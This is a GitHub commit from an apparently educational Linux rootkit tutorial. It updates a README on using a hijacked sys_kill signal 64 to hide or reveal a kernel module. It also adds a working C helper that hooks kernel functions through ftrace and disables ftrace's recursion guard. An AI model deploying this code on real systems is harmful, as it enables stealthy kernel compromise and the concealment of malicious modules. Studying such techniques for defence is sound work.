Skip to content

Commit 02c3caf

Browse files
committed
updated readme and add helper
1 parent 92f6736 commit 02c3caf

File tree

2 files changed

+187
-0
lines changed

2 files changed

+187
-0
lines changed

3_RootkitTechniques/3.2_kill_signalling/README.md

+2
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22

33
## 3.2: Custom Signals To Hide/Reveal LKMs
44

5+
> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory
6+
57
We can use the same syscall hijacking method from [Section 3.1](../3.1_syscall_hooking/) to hijack the `sys_kill` syscall rather than `sys_mkdir`. This lets us implement our own custom signals to call different functions within the rootkit. In this case, we use signal `64` (normally unused) to tell the module hide or unhide itself (using the `hideme()` and `showme()` functions from [Section 3.0](../3.0_hiding_lkm/)).
68

79
> NOTE: While experimenting with this module, I found that the kernel kept panicking and crashing if I probed the calls to `sys_mkdir` too often, i.e. trying to `printk` every call signal send to every pid. I think this is probably something to do with a race condition somewhere, but I'm not certain.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
/*
2+
* Helper library for ftrace hooking kernel functions
3+
* Author: Harvey Phillips ([email protected])
4+
* License: GPL
5+
* */
6+
7+
#include <linux/ftrace.h>
8+
#include <linux/linkage.h>
9+
#include <linux/slab.h>
10+
#include <linux/uaccess.h>
11+
12+
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
13+
#define PTREGS_SYSCALL_STUBS 1
14+
#endif
15+
16+
/* x64 has to be special and require a different naming convention */
17+
#ifdef PTREGS_SYSCALL_STUBS
18+
#define SYSCALL_NAME(name) ("__x64_" name)
19+
#else
20+
#define SYSCALL_NAME(name) (name)
21+
#endif
22+
23+
#define HOOK(_name, _hook, _orig) \
24+
{ \
25+
.name = SYSCALL_NAME(_name), \
26+
.function = (_hook), \
27+
.original = (_orig), \
28+
}
29+
30+
/* We need to prevent recursive loops when hooking, otherwise the kernel will
31+
* panic and hang. The options are to either detect recursion by looking at
32+
* the function return address, or by jumping over the ftrace call. We use the
33+
* first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
34+
* setting it to 1. (Oridinarily ftrace provides it's own protections against
35+
* recursion, but it relies on saving return registers in $rip. We will likely
36+
* need the use of the $rip register in our hook, so we have to disable this
37+
* protection and implement our own).
38+
* */
39+
#define USE_FENTRY_OFFSET 0
40+
#if !USE_FENTRY_OFFSET
41+
#pragma GCC optimize("-fno-optimize-sibling-calls")
42+
#endif
43+
44+
/* We pack all the information we need (name, hooking function, original function)
45+
* into this struct. This makes is easier for setting up the hook and just passing
46+
* the entire struct off to fh_install_hook() later on.
47+
* */
48+
struct ftrace_hook {
49+
const char *name;
50+
void *function;
51+
void *original;
52+
53+
unsigned long address;
54+
struct ftrace_ops ops;
55+
};
56+
57+
/* Ftrace needs to know the address of the original function that we
58+
* are going to hook. As before, we just use kallsyms_lookup_name()
59+
* to find the address in kernel memory.
60+
* */
61+
static int fh_resolve_hook_address(struct ftrace_hook *hook)
62+
{
63+
hook->address = kallsyms_lookup_name(hook->name);
64+
65+
if (!hook->address)
66+
{
67+
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
68+
return -ENOENT;
69+
}
70+
71+
#if USE_FENTRY_OFFSET
72+
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
73+
#else
74+
*((unsigned long*) hook->original) = hook->address;
75+
#endif
76+
77+
return 0;
78+
}
79+
80+
/* See comment below within fh_install_hook() */
81+
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
82+
{
83+
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
84+
85+
#if USE_FENTRY_OFFSET
86+
regs->ip = (unsigned long) hook->function;
87+
#else
88+
if(!within_module(parent_ip, THIS_MODULE))
89+
regs->ip = (unsigned long) hook->function;
90+
#endif
91+
}
92+
93+
/* Assuming we've already set hook->name, hook->function and hook->original, we
94+
* can go ahead and install the hook with ftrace. This is done by setting the
95+
* ops field of hook (see the comment below for more details), and then using
96+
* the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
97+
* provided by ftrace.h
98+
* */
99+
int fh_install_hook(struct ftrace_hook *hook)
100+
{
101+
int err;
102+
err = fh_resolve_hook_address(hook);
103+
if(err)
104+
return err;
105+
106+
/* For many of function hooks (especially non-trivial ones), the $rip
107+
* register gets modified, so we have to alert ftrace to this fact. This
108+
* is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
109+
* need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
110+
* the built-in anti-recursion guard provided by ftrace is useless if
111+
* we're modifying $rip. This is why we have to implement our own checks
112+
* (see USE_FENTRY_OFFSET). */
113+
hook->ops.func = fh_ftrace_thunk;
114+
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
115+
| FTRACE_OPS_FL_RECURSION_SAFE
116+
| FTRACE_OPS_FL_IPMODIFY;
117+
118+
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
119+
if(err)
120+
{
121+
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
122+
return err;
123+
}
124+
125+
err = register_ftrace_function(&hook->ops);
126+
if(err)
127+
{
128+
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
129+
return err;
130+
}
131+
132+
return 0;
133+
}
134+
135+
/* Disabling our function hook is just a simple matter of calling the built-in
136+
* unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
137+
* opposite order to that in fh_install_hook()).
138+
* */
139+
void fh_remove_hook(struct ftrace_hook *hook)
140+
{
141+
int err;
142+
err = unregister_ftrace_function(&hook->ops);
143+
if(err)
144+
{
145+
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
146+
}
147+
148+
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
149+
if(err)
150+
{
151+
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
152+
}
153+
}
154+
155+
/* To make it easier to hook multiple functions in one module, this provides
156+
* a simple loop over an array of ftrace_hook struct
157+
* */
158+
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
159+
{
160+
int err;
161+
size_t i;
162+
163+
for (i = 0 ; i < count ; i++)
164+
{
165+
err = fh_install_hook(&hooks[i]);
166+
if(err)
167+
goto error;
168+
}
169+
return 0;
170+
171+
error:
172+
while (i != 0)
173+
{
174+
fh_remove_hook(&hooks[--i]);
175+
}
176+
return err;
177+
}
178+
179+
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
180+
{
181+
size_t i;
182+
183+
for (i = 0 ; i < count ; i++)
184+
fh_remove_hook(&hooks[i]);
185+
}

0 commit comments

Comments
 (0)